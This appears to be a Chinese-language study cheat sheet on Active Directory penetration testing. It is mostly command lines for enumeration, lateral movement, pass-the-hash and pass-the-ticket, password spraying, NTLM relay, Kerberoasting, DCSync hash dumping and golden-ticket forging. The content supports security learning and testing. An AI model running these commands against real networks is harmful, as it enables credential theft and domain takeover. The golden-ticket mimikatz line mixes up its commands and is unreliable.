# AD 網域滲透測試 :::spoiler 目錄 [TOC] ::: :::spoiler 學習連結 - [橫向移動](https://www.ired.team/offensive-security/lateral-movement) - [[內網滲透]Pass the Hash(PtH)攻擊手法及防禦、偵測措施](https://wwwstar.medium.com/%E5%85%A7%E7%B6%B2%E6%BB%B2%E9%80%8F-pass-the-hash-pth-%E6%94%BB%E6%93%8A%E6%89%8B%E6%B3%95%E5%8F%8A%E9%98%B2%E7%A6%A6-%E5%81%B5%E6%B8%AC%E6%8E%AA%E6%96%BD-e1d15e807a67) - [遊走紅隊與藍隊:Purple man 我的超人](https://tech-blog.cymetrics.io/posts/zet/purple-man-my-superman/) - Active Directory - https://github.com/geeksniper/active-directory-pentest - https://zer1t0.gitlab.io/posts/attacking_ad/ - https://hideandsec.sh/books/cheatsheets-82c/page/active-directory - NXC: - https://notes.incendium.rocks/pentesting-notes/windows-pentesting/tools/netexec - https://www.netexec.wiki/ - https://www.hackingarticles.in/active-directory-pentesting-using-netexec-tool-a-complete-guide/ ::: # AD 基礎知識 ## Microsoft AD 訓練課程 - [系統資訊安全](https://learn.microsoft.com/zh-tw/training/browse/?roles=security-engineer%2Csecurity-operations-analyst&expanded=security&subjects=security) - [AD](https://learn.microsoft.com/zh-tw/training/paths/active-directory-domain-services/?source=recommendations) # DC - DC (Domain Controller) - RODC (Read-Only Domain Controller) - 加入 AD - DNS 指向 AD - 將系統加入 AD - 使用網域帳號登入 - DC 與 DNS 通常是同一台 - DC common port list: ``` - Port 389 LDAP - Port 636 LDAP over SSL - Port 88 Kerberos Authentication - Port 3268 Global catalog Search - Port 3269 Global catalog LDAP over SSL ``` ## DC 的功能: * 身份驗證: Kerberos、NTLM... * 授權: 訪問控制、群組原則的應用。 * 帳戶管理: 使用者、電腦、群組的建立、修改和刪除。 * 時間同步: 網域內的時間同步服務。 * 憑證服務 (AD CS) DC 的安全考量: * 實體安全: 保護 DC 的實體存取。 * 作業系統安全: 定期更新、安全配置。 * 最小化安裝: 僅安裝必要的服務。 * 監控與日誌: 監控 DC 的安全事件。 # Recon ## Nmap ### 常見開放 Port 與其對應漏洞 - 53/tcp/udp (domain): DNS 服務,可能存在 DNS Zone Transfer 漏洞。 - 123/udp (ntp): NTP 服務,可能用於時間同步攻擊。 - 135/tcp (msrpc): - 提供微軟的遠端過程呼叫(Microsoft RPC)服務。 - 可能被用於遠端程式碼執行漏洞利用(如 MS08-067)。 - [rpcclient](#RPC-Port-135) - MS03-026 (Blaster/Lovsan 蠕蟲): - 漏洞: DCOM RPC 介面中的緩衝區溢位漏洞 (CVE-2003-0352)。 - MS08-067 (Conficker 蠕蟲): - PrintNightmare (CVE-2021-1675, CVE-2021-34527): - 漏洞: Windows 列印多工緩衝處理器服務 (Print Spooler) 中的多個漏洞,涉及其 RPC 介面。 - 影響: 允許經過身份驗證的低權限使用者(甚至在某些情況下是未經身份驗證的攻擊者)透過 RPC 呼叫(例如 RpcAddPrinterDriverEx()) 遠端執行程式碼(SYSTEM 權限)或進行本地權限提升。儘管攻擊可能透過 SMB (445) 或直接 RPC 進行,但核心問題在於 Spooler 服務的 RPC 處理邏輯。 - DCOM 強制執行變更相關 (例如 CVE-2021-26414) - 137/udp (netbios-ns): NetBIOS Name Service,可能洩漏主機名稱資訊。 - 138/udp (netbios-dgm): NetBIOS Datagram Service。 - 139/tcp (netbios-ssn) & 445/tcp (microsoft-ds): - 提供 SMB 服務,可能用於檔案共用和身份驗證。是非常重要的目標,可以嘗試憑證攻擊、漏洞或共享檔案枚舉。 - `SMBv2 Message signing enabled but not required` --> ntlmrelay - 593/tcp (ncacn_ip_tcp): MSRPC Endpoint Mapper Port,與 135 類似。 - 3389/tcp (ms-wbt-server): - 遠端桌面協定 (RDP) 服務。 - 可以嘗試暴力破解或漏洞(如 [BlueKeep](https://github.com/Ekultek/BlueKeep))。 - 49152+ /tcp (Dynamic RPC ports): 動態 RPC Port 範圍,與 MSRPC 相關。 - 5985/tcp & 5986/tcp (wsman): WinRM (PowerShell Remoting) 服務。 - 9389/tcp (adws): Active Directory Web Services。 ### Nmap Scripting Engine (NSE): * smb-vuln-* 腳本系列 (EternalBlue, WannaCry 等漏洞檢測) * smb-enum-shares 腳本 (枚舉 SMB 共享) * smb-os-discovery 腳本 (偵測作業系統版本) * ldap-* 腳本系列 (LDAP 相關的偵查) * winrm-* 腳本系列 (WinRM 相關的偵查) # AD Enumeration - 查詢 Local User - `net user` - `net user <username>` - 查詢 password policy - `net accounts` ![image](https://hackmd.io/_uploads/BJQR6SNqke.png) - 查詢 Domain User - `net user /domain` - `net user {username} /domain` - 查詢權限 - `whoami /priv` - 查詢預設高權限群組 - `net groups /domain` - `net groups "Domain Admins" /domain` - `net groups "Schema Admins" /domain` - `net groups "Enterprise Admins" /domain` - 利用 null session 做帳號枚舉/身分驗證錯誤 - 建立 null session:`net use \\DC01\ipc$ "" /u:""` - `net use \\DC01\ipc$ "" /u:guest` - 可能出現:`This user can't sign in because this account is currently disabled.` - 帶有 password 時:`net use \\DC01\ipc$ "password" /u:guest` - 可能出現:`The user name or password is incorrect.` - 或是:`The referenced account is currently locked out and may not be logged on to.` ## PowerShell Cmdlet: * `Get-ADUser`:查詢網域使用者資訊。 * `Get-ADGroup`:查詢網域群組資訊。 * `Get-ADComputer`:查詢網域電腦資訊。 * `Get-ADObject`:查詢 AD 物件資訊。 * `Get-NetDomain`:查詢網域資訊。 * `Get-NetForest`:查詢樹系資訊。 * `Get-NetOU`:查詢組織單位 (OU) 資訊。 * `Get-NetGPO`:查詢群組原則物件 (GPO) 資訊。 * `Get-NetLocalGroupMember`:查詢本機群組成員。 * `Get-NetGroupMember`:查詢網域群組成員。 * `Get-MpComputerStatus`:觀察防毒狀態 * `Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`:AppLockerl ## LDAP : - DN:Distinguish Name - CN: Common Name - OU:Organization Unit Name - DC: Domain Componet ### Linux LDAP Recon: - tools:[windapsearch.py](https://github.com/ropnop/windapsearch), ldapsearch, [ldapdomaindump.py](https://github.com/dirkjanm/ldapdomaindump) - 沒有 password,有帳號時: - `ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "*"` - 搜尋 password policy:`ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "*" | grep -m 1 -B 10 pwdHistoryLength` - 獲取 Domain user lists:`ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "` - 有password:`ldapsearch -x -H ldap://<ip> -D 'user@domain' -w 'password' -b 'dc=<domain_name>,dc=<top_domain>' '(ObjectClass=user)'` - `nxc ldap -u <user> -p <password>` --> NTLM 驗證(NXC 默認驗證方法),要啟用 Protocol transition 才能用 NTLM 存取 kerberos 驗證的服務。 - `nxc ldap -u <user> -p <password> -k` --> 指定用 Kerberos 驗證(Protocol transition 關閉時可以用) ## Domain Controller - `echo %logonserver%` - `nltest /dclist:<domain>` ## Powerview - 用之前先 import:`import-module .\PowerView.ps1` - `Get-DomainUser` - `Get-DomainUser | select -ExpandProperty samaccountname` - `Get-DomainComputer | select -ExpandProperty dnshostname` - `Get-DomainGroup -Identity "Domain Admins"` - `Get-DomainGroupMember -Identity "Enterprise Admins"` - `Get-DomainGroupMember -Identity "Enterprise Admins" -Domain moneycorp.local (only for root domain user)` - Password Policy:`Get-DomainPolicy` - `Invoke-UserHunter`:PowerView 中的腳本,用於尋找網域管理員登入的系統。 - `Invoke-ProcessHunter`:PowerView 中的腳本,用於尋找特定進程 (例如 Mimikatz) 運行的系統。 ### OUs - `Get-DomainOU` - `Get-DomainOU | select -ExpandProperty name` - (`Get-DomainOU -Identity StudentMachines).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name` ### GPO - `Get-DomainGPO` - `(Get-DomainOU -Identity StudentMachines).gplink` ## ADmodule - import module 1. `Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll` 2. `Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1` - `Get-ADUser -Filter *` - `Get-ADUser -Filter * -Properties * | select Samaccountname,Description` - `Get-ADComputer -Filter *` - `Get-ADGroupMember -Identity 'Domain Admins'` - `Get-ADGroupMember -Identity 'Enterprise Admins' -Server moneycorp.local` ## GPO enumeration ``` \\<domain>\SysVol\<domain>\Policie \\<domain>\SysVol\<domain>\Policie\<UID>\Users\Scripts \\<domain>\SysVol\<domain>\Policie\<UID>\Machine\Scripts ``` - 群組原則 - `Get-NetGPO` ## SMB - ExternalBlue, WannaCry - port:139 (NetBIOS), 445 - smbclient - `smbclient -L \\<ip> -U user%password` - `smbclient -U user \\\\10.129.42.197\\SHARENAME` - smbmap - `smbmap -u <user> -d <domain> -p <password> -H <host_ip>` - Crackmapexec / [nxc](https://github.com/Pennyw0rth/NetExec) - https://github.com/seriotonctf/cme-nxc-cheat-sheet - 獲取 Domain user lists:`crackmapexec smb <host_ip> --users` - `crackmapexec smb <host_ip> -u <username> -p <password>` - `crackmapexec smb <host_ip> -u "user" -p "password" --shares` - enum4linux - `enum4linux -P <Host_IP>` - 獲取 Domain user lists:`enum4linux -U <Host_IP> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"` - `enum4linux -u <username> -p <password> <Host_IP>` - enum4linux-ng - `enum4linux-ng -P {ip} -oA {output_filename}` ### RPC (Port 135) `rpcclient` **Samba** 套件的一部分,可以用來連接目標主機並執行各種 RPC 操作,像是枚舉使用者、群組、共享資料夾等資訊。 - 匿名登入:`rpcclient -U "" -N <ip>` - `-U ""`:表示匿名連接,無需提供使用者名稱。 - `-N`:表示不要求密碼。 - 取得 Password policy:`querydominfo` - 利用 ldap 匿名取得 Domain user lists:`enumdomusers` - `./windapsearch.py --dc-ip 172.16.5.5 -u "" -U` - 帳號認證連接:`rpcclient -U "username%password" <ip>` - 一次性執行命令:`rpcclient -U "" -N 10.7.30.21 -c "<command>"` ## GetUserSPNs[.]py - 用來查詢網域內用戶註冊的 SPN - `Import-Module .\GetUserSPN.ps1` - 發動[Kerberoasting](#Kerberoasting)前偵查 ## Kerbrute - 製作密碼噴灑的 username lists:`kerbrute userenum -d domain.local --dc <dc-ip> /wordlists.txt` ## Windows ADRecon.ps1 - https://github.com/adrecon/ADRecon - usage:`powershell.exe –nop –ep bypass .\adrecon.ps1 -DomainController <dc-ip> -Credential <user>/<doamin>` - Install-windowsfeature RSAT ## BloodHoundAD - Windows - https://github.com/BloodHoundAD/BloodHound/releases/ - `.\sharphound.exe -c all` - SharpHound.ps1 - 自動打包:{Timestamp}_BloodHound.zip --> 拖到視窗 - Neo4j Server - https://neo4j.com/download-center/#community - path/to/neo4j/bin$ ./neo4j console - 啟動後至 localhost:7474 修改預設密碼 - 預設帳密 neo4j/neo4j 登入 BloodHoundAD - nxc - `nxc ldap <ip> -u user -p pass --bloodhound --collection All` - `nxc ldap <ip> -u user -p pass --bloodhound --collection All --dns-server <ip>` # Lateral Movement(橫向移動) - 橫向移動仰賴幾種網域內的驗證方式: - NTLM Hash/NTLM v2 Hash - Tickets(Kerberos) - Password - AES256 Keys ## SMB ### psexec - SMB 開 shell - 第一次使用先接受 eula - `psexec.exe -accepteula`:https://docs.microsoft.com/en-us/sysinternals/downloads/psexec - 使用 psexec 之前可以先用 smbmap 確認權限 - 橫向: - `psexec.exe -accepteula \\<ip> -u [<domain>\]<username> -p <password> cmd` - impacket:https://github.com/SecureAuthCorp/impacket - `impacket-psexec <user>@<ip>`(開shell) - `proxychains psexec.py <username>:<passowrd>@<ip> whoami` ### cme/nxc - `crackmapexec smb [IP] -u administrator -p Passw0rd ‐‐exec‐method mmcexec ‐x 'whoami'` - `--exec-method {mmcexec,smbexec,atexec,wmiexec}` ### 網路芳鄰 - 走 **samba** 協議 - Domain admin 可以任意觀看 - `\\<ip>\c$` - `smbclient -L \\<ip>\c$` ### 掛載遠端磁碟 - 掛載遠端磁碟 - `net use \\<ip>\C$ "<password>" /user:<username>` - 查看已掛載的遠端磁碟 - `net use` - Copy 檔案 - `copy mimikatz.exe \\<ip>\C$` ## RDP 遠端桌面 - 預設 port:TCP/3389 - 預設情況下,只有 `administrator` 或 `Remote Desktop Users 群組` 的成員可以用 RDP 連線。 - 此外,管理員可以授予特定使用者或群組連接到 RDP 的權限。因為這些權限是在本地設定的,所以枚舉它們的唯一方法是我們在目標電腦上擁有管理權限。 - `Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName` - Enum:`nxc rdp <subnet> -u user -p 'password' -d <domain>.local` - 顯示:`Pwn3d!` 代表該 user 是我們能夠連進去的 ### Windows - `mstsc.exe` ![image](https://hackmd.io/_uploads/Byo3wUHc1e.png) #### Abuse Restricted Admin Mode - 需要先提權到 `Administrator` 群組 - Restricted Admin Mode 啟用時連接 RDP 會用 network logon ,而非 interactive logon,這個差異最主要是用來防止被 Credential cache。 - 不過這個特性卻能讓攻擊者做 pass the hash 或 pass the ticket 做橫向移動 - 確認 R.A.M 是否開啟:`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin` - 有開的話是 `0` - 沒開的話是 `1` - 如果是 disable 的狀態的話,嘗試開啟: - `reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD` - Pass the Ticket: - 使用前:`.\Rubeus.exe createnetonly /program:powershell.exe /show` - 生成銀票:`.\Rubeus.exe asktgt /user:<user> /rc4:<NT hash> /domain:<domain>.local /ptt` - 銀票是利用 NT hash 做 key 去加密Kerberos 票證 - `/ptt`:直接 inject 到當前 session 中,因此在當前的 powershell 中再打開 `mstsc.exe /restrictedAdmin` ,即可移動成功。 ### Linux - xfreerdp 下載:`sudo apt-get install freerdp2-x11` - `xfreerdp /u:<user> /p:'<password>' /v:<Host_IP> /d:<domain>.local /dynamic-resolution /drive:.,linux` - Optimizing xfreerdp:`xfreerdp /u:<user> /p:'Password' /d:<domain>.local /v:<ip> /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache` - Pivoting to PTH - Linux(目前的主機): 1. `vim /etc/proxychains.conf` 2. `./chisel server --reverse ` - Windows(開放rdp的主機): 1. `chisel.exe client <VPN IP> R:socks` - Pass the Hash (Linux --> Windows): - `proxychains4 -q xfreerdp /u:<user> /pth:<NT hash> /d:<domain>.local /v:<rdp_target_ip>` - 執行完才能拿到該台的shell - Pass the Ticket (Windows --> Windows 也可以 PTH) - `.\Rubeus.exe createnetonly /program:powershell.exe /show` - `.\Rubeus.exe asktgt /user:<user> /rc4:<NTLM> /domain:<Domain>.local /ptt` - 連接rdp:`mstsc.exe /restrictedAdmin` ## WMI - msrpc ### Enumeration - `nxc wmi <ip> -u <user> -p <pass>` ### Pass the Hash kali:`pth-winexe` https://github.com/byt3bl33d3r/pth-toolkit/tree/master - 無法過 Proxychains - 類似 Psexec,但支援以 Hash 代替密碼 - usage:`pth-winexe -U <domain>/<username>%aad3b435b51404eeaad3b435b51404ee(LM_Hash):<NTLM Hash> //<IP> cmd.exe` On Windows: `wmiexec.exe`:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe `wmiexec.exe -hashes <LM>:<NTLM> <domain>/<username>@<ip> <command>` - Mimikatz: - must dump hashes first:`sekurlsa::pth/user:Administrator/domain:atomic.local/ntlm:cc36cf7a8514893efccd3324464tkg1a` - Kerberos Ticket attack `kerberos::ptt Administrator@krbtgt-atomic.LOCAL.kirbi` ## WINRM ### PowerShell Remoting(Windows Remote Management) > - PowerShell Remoting only allows connections from members of the Administrators group > - Members of the Remote Management Users group can access WMI resources over management protocols - PowerShell Remoting (and WinRM) listen on the following ports: - HTTP:5985 - HTTPS:5986 - Recon: - `crackmapexec winrm <host_ip> -u user.list -p password.list` - tools:https://github.com/Hackplayers/evil-winrm - `sudo gem install evil-winrm` - `evil-winrm -i <target-IP> -u <username> -p <password>` ## DCOM ## SSH ## MSSQL ## Exchange ## SCCM ## LLMNR & NBT-NS Poisoning ### Linux - Responder:https://github.com/SpiderLabs/Responder (Kali 預設有裝) - `responder -I <網卡>` ### Windows - Inveigh.ps1:https://github.com/Kevin-Robertson/Inveigh - 1.`Import-Module .\Inveigh.ps1` - 2.`Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y` - 查看利用參數:`(Get-Command Invoke-Inveigh).Parameters` - 獲取 NTLM Hash # Exploitation ## KrbRelayUp - https://github.com/dirkjanm/krbrelayx - https://github.com/Dec0ne/KrbRelayUp - 在未強制執行LDAP簽名的域環境中可以運作 ## DavRelayUp - https://github.com/Dec0ne/DavRelayUp - 透過啟用從 WebDAV 到 LDAP 的 NTLM 中繼來擴展攻擊。它利用基於資源的約束委派 (RBCD) 在加入網域的 Windows 工作站上做 LPE,同時也針對沒有 LDAP signature 的環境。 ## Password Spraying(密碼噴灑) - Recon:cme, rpcclient, enum4linux, ldap, powerview... 取得帳號 - 已知很多帳號,嘗試一種密碼做嘗試 ### Linux - CrackMapExec:https://github.com/byt3bl33d3r/CrackMapExec - `cme {protocol} {target(s)} -u <usernames_lists> -p <passwords_lists>` - `cme {protocol} {target(s)} -u <usernames_lists> -p <passwords_lists> --no-bruteforce` - rpcclient: - bash:`for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" <dc-ip> | grep Authority; done` - `grep Authority` 是用來過濾有效登入 - kerbrute: - `kerbrute passwordspray -d <domain>.local --dc <dc-ip> valid_users.txt <password>` - sprayhound `sprayhound -U users.txt -d <domain> -dc <dc_ip> --lower` ### Windows - https://github.com/dafthack/DomainPasswordSpray - `Import-Module .\DomainPasswordSpray.ps1` - `Invoke-DomainPasswordSpray -Password <password> -OutFile spray_success -ErrorAction SilentlyContinue` - 在網域內噴灑不用 ## SMB Relay / NTLM Relay - Pre-work:`sudo vim /etc/responder/Responder.conf` - `SMB = Off` - 列舉 **SMB signing disabled** 或 設置為 **"not required"** 的 user: 1. `nmap -sSV -p 445 -script smb2-security-mode <subnet>` 2. `crackmapexec smb <ip_or_ip_range> --gen-relay-list relay.txt` 3. `impacket-ntlmrelayx -tf relay.txtrelay.txt.txt -of netntlm -smb2support -socks` - 已知 NTLM Relay 漏洞: - [DFSCoerce](https://github.com/Wh04m1001/DFSCoerce) - [CVE-2021-36942 - PetitPotam](https://github.com/topotam/PetitPotam) - [Printer Bug (MS-RPRN 濫用)](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) - https://github.com/ThemeHackers/CVE-2024-21413 - https://github.com/Trackflaw/CVE-2023-23397 - https://github.com/duy-31/CVE-2023-35636 ## Kerberoasting - 控制任一個網域使用者後可以進行 - Recon (拿user name lists): - `crackmapexec smb {ip} --users (smb username)` - `nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<user.txt>" <ip>` - exploit:`impacket-GetUserSPNs {domain}\{name}:{[password]} -dc-ip {dc-ip} -request -outputfile hash` ## AS-REP Roasting - `GetNPUsers.py <Domain>/ -no-pass -usersfile <users_file>` ## Kerberos Delegation 1. Unconstrained Delegation ![image](https://hackmd.io/_uploads/H1I-QWtpC.png) > Graphic: Kerberos Unconstrained Delegation Communication Flow > 圖片來源:https://adsecurity.org/?p=1667 2. Constrained Delegation - 經過授權的帳號,可以在限制下模擬存取、寫入其它服務。 - 需要管理員權限 3. Resource Based Constrained Delegation(RBCD) - Information gathering:`impacket-findDelegation {domain}/{user}:{password}` - `Constrained w/ Protocol Transition` `CIFS/...` - `impacket-getST -spn CIFS/... -impersonate administrator {domain}/{user}:{passowrd}` - 模擬 `administrator` 權限 ## ACL Abuse ### ACL Enum - `Find-InterestingDomainAcl` - ## DcSync - https://www.modb.pro/db/108846 - 本地址用者資料庫 C:\windows\system32\config\SAM - 見 **Windows 後滲透** - 網域使用者資料庫 C:\Windows\NTDS\NTDS.dit - **DcSync** 就是把 **NTDS.dit** 的資料導出來 - 發動條件:有 **Domain Admin** 權限 或 具有`Replicating Directory Changes` 或 `Replicating Directory Changes All` 才能應用此攻擊 (擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 群組內的使用者權限) ### Dumping Hash - cme:`nxc smb <dc_ip> -H <hash> -d <domain> -u <username> --ntds` - Mimikatz - 切到 Domain Admin 帳戶 (會彈出新的 cmd 視窗) 1. `privilege::debug` 2. `sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlm>` 3. 再啟用後:`lsadump::dcsync /all` - secretsdump - `python3 impacket-secretsdump <Domain>/administrator:<Domiain_admin_password>@<ip> -dc-ip <dc_ip> -just-dc-user administrator` ### Generating Golden ticket - Golden Ticket 是一種特權 Kerberos TGT(Ticket Granting Ticket),允許攻擊者假冒域內的任何用戶,並在域內擁有最高權限。 - 透過上述 Dumping Hash 攻擊獲得 (krbtgt的) NTLM hash 之後,接著可以製作 Golden Ticket - On Windows: - mimikatz: - `lsadump::dcsync /domain:<domain> /user:krbtgt` - 生成:`sekurlsa::pth /user:administrator /domain:example.com /ntlm:KRBTGT_NTLM_HASH /sid:S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX /target:example.com /groups:513 /ticket:golden.kirbi` - 注入 Golden Ticket:`kerberos::ptt golden.kirbi` - 成功拿下最高權限 - On Linux: secretsdump 利用目錄複製服務遠程協議 (MS-DRSR),也就是 DCSync 所依賴的協議,來模擬域控制器之間的複製行為,從而請求指定域控制器上的帳戶 NTLM - `impacket-secretsdump '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP_OR_HOSTNAME>' -just-dc` ![image](https://hackmd.io/_uploads/ByPu9cEAyx.png) - or PTH:`impacket-secretsdump '<DOMAIN>/<USERNAME>@<DC_IP_OR_HOSTNAME>' -hashes <LM_HASH>:<NTLM_HASH> -just-dc` - SID Extraction:`impacket-lookupsid:<DOMAIN>/<USERNAME>:'<PASSWORD>'@<DC_IP_OR_HOSTNAME>` ![image](https://hackmd.io/_uploads/SJMoysEAJg.png) - 需要一個有效的 Kerberos TGT ticket,並將其保存在 ccache)。 - 通常通過 kinit (如果知道密碼或有 keytab) 或其他攻擊手段(如 Kerberoasting)獲得。 - `export KRB5CCNAME=/path/to/your/ticket.ccache` # Attacking Domain Trust ## Enumeration - Import-Module activedirectory - Get-ADTrust -Filter * - Get-DomainTrust - Get-DomainTrustMapping ### mapping - tool: https://github.com/lkarlslund/Adalanche - 類似 bloodhound - `.\Adalanche.exe collect activedirectory --domain inlanefreight.ad` ## Unconstrained Delegation - 允許以使用者帳戶執行的服務模擬其他使用者並代表他們存取資源